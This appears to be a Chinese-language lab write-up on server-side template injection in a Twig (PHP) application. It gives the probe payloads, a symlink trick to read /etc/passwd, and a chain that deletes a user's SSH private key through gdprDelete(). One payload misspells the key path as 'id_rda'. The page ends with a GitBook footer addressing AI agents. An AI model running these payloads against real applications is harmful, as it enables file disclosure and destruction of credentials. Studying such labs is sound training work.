> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-with-custom-exploit.md).

# 带自定义利用的 SSTI

### 带有自定义利用的服务器端模板注入

该应用易受 SSTI 注入攻击。/ 目标是创建一个自定义 **exploit** 用于让你删除 `/home/carlos/.ssh/id_rsa`\*\* 文件。/ 可能与用户存在连接： `wiener:peter`.

#### 可注入点

该 **昵称** 字段存在漏洞：

```python
}}{{7*7
```

表达式会被求值。

<figure><img src="/files/c0baaa7de5196215ea563e7cdeb696645566913e" alt=""><figcaption></figcaption></figure>

通过触发错误：

```php
}}{{7/a
```

发现使用的引擎是 **Twig（PHP）**.

<figure><img src="/files/6b42b4d0ea8c25312441f8d98e42557c0f11b6c4" alt=""><figcaption></figcaption></figure>

#### D 函数功能劫持

可以通过以下方式定义自定义头像：

```php
user.setAvatar(PATH, 'image/jpg')
```

<figure><img src="/files/f2106b935fef7e0aa19c01e7396c0d1c70ba96b6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f2b7a1a2036c5382bb5a5543a4452b0140b218b9" alt="" width="496"><figcaption></figcaption></figure>

此机制会创建一个 **符号链接** 到任意可读文件。/ 因此，你可以通过下载头像来恢复你的内容。

#### 示例

读取 `/etc/passwd`

```php
user.setAvatar('/etc/passwd','image/jpg')
```

打开图片时即可访问该文件

<figure><img src="/files/510b6728eda2f6ea3f113074471ae5d1611e640c" alt=""><figcaption></figcaption></figure>

#### 代码分析 `User.php`

该 `/home/carlos/User.php` 文件显示：

<figure><img src="/files/30499b473e0085adfdcee93bf0892247c67edbd1" alt=""><figcaption></figcaption></figure>

\*\*该 `gdprDelete()` 函数实际上会删除符号链接所指向的文件。\*\*/ 这正是应该用于删除 `id_rsa`.

```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```

```php
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }


    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>
```

#### 操作：删除 `/home/carlos/.ssh/id_rsa`

创建指向 Carlos SSH 密钥的符号链接

```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```

通过以下方式触发删除：

```php
user.gdprDelete()
```

符号链接指向 `id_rsa`/ `gdprDelete()` 删除该 **目标** 链接 \*\*`id_rsa` 文件已删除。\*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-with-custom-exploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
